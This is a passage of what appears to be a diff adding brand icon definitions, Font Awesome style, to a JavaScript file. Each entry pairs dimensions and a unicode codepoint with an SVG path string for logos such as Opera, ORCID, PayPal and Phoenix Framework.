14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z" ], + opencart: [ 640, 512, [], "f23d", "M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z" ], + openid: [ 448, 512, [], "f19b", "M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z" ], + opera: [ 496, 512, [], "f26a", "M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z" ], + "optin-monster": [ 576, 512, [], "f23c", "M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z" ], + orcid: [ 512, 512, [], "f8d2", "M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z" ], + osi: [ 512, 512, [], "f41a", "M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z" ], + page4: [ 496, 512, [], "f3d7", "M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z" ], + pagelines: [ 384, 512, [], "f18c", "M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z" ], + palfed: [ 576, 512, [], "f3d8", "M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z" ], + patreon: [ 512, 512, [], "f3d9", "M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z" ], + paypal: [ 384, 512, [], "f1ed", "M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z" ], + "penny-arcade": [ 640, 512, [], "f704", "M421.91 164.27c-4.49 19.45-1.4 6.06-15.1 65.29l39.73-10.61c-22.34-49.61-17.29-38.41-24.63-54.68zm-206.09 51.11c-20.19 5.4-11.31 3.03-39.63 10.58l4.46 46.19c28.17-7.59 20.62-5.57 34.82-9.34 42.3-9.79 32.85-56.42.35-47.43zm326.16-26.19l-45.47-99.2c-5.69-12.37-19.46-18.84-32.62-15.33-70.27 18.75-38.72 10.32-135.59 36.23a27.618 27.618 0 0 0-18.89 17.41C144.26 113.27 0 153.75 0 226.67c0 33.5 30.67 67.11 80.9 95.37l1.74 17.88a27.891 27.891 0 0 0-17.77 28.67l4.3 44.48c1.39 14.31 13.43 25.21 27.8 25.2 5.18-.01-3.01 1.78 122.53-31.76 12.57-3.37 21.12-15.02 20.58-28.02 216.59 45.5 401.99-5.98 399.89-84.83.01-28.15-22.19-66.56-97.99-104.47zM255.14 298.3l-21.91 5.88-48.44 12.91 2.46 23.55 20.53-5.51 4.51 44.51-115.31 30.78-4.3-44.52 20.02-5.35-11.11-114.64-20.12 5.39-4.35-44.5c178.15-47.54 170.18-46.42 186.22-46.65 56.66-1.13 64.15 71.84 42.55 104.43a86.7 86.7 0 0 1-50.75 33.72zm199.18 16.62l-3.89-39.49 14.9-3.98-6.61-14.68-57.76 15.42-4.1 17.54 19.2-5.12 4.05 39.54-112.85 30.07-4.46-44.43 20.99-5.59 33.08-126.47-17.15 4.56-4.2-44.48c93.36-24.99 65.01-17.41 135.59-36.24l66.67 145.47 20.79-5.56 4.3 44.48-108.55 28.96z" ], + perbyte: [ 448, 512, [], "e083", "M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z" ], + periscope: [ 448, 512, [], "f3da", "M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z" ], + phabricator: [ 496, 512, [], "f3db", "M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z" ], + "phoenix-framework": [ 640, 512, [], "f3dc", "M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 